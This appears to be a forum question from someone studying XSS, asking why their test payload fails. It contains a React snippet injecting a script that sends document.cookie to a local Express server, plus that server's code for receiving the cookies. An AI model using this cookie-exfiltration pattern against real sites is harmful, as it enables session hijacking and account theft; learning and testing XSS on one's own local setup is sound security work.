Currently diving into the realm of XSS attacks to enhance my knowledge on application security. My goal is to extract the user's cookie from a local website and then transmit it to my local server for testing purposes.
I've successfully obtained the cookie using an alert message, but encountering difficulties when attempting to execute an API call. Here is the code snippet I suspect may be causing the issue:
Code in React app:
<p dangerouslySetInnerHTML={{
__html: `<script type="text/javascript">
document.location='http://localhost:2021/xss?user='+document.cookie;
</script>`,
}}
/>
Server-side code:
const app = require("express")();
const cors = require("cors");
app.use(cors());
app.get("/xss", (req, res) => {
const {user} = req.query
res.send("it works", user);
});
app.listen(2021, () =>
console.log("Server is waiting to read yummy cookies")
);
The specified route "/xss" does not seem to trigger any action as expected.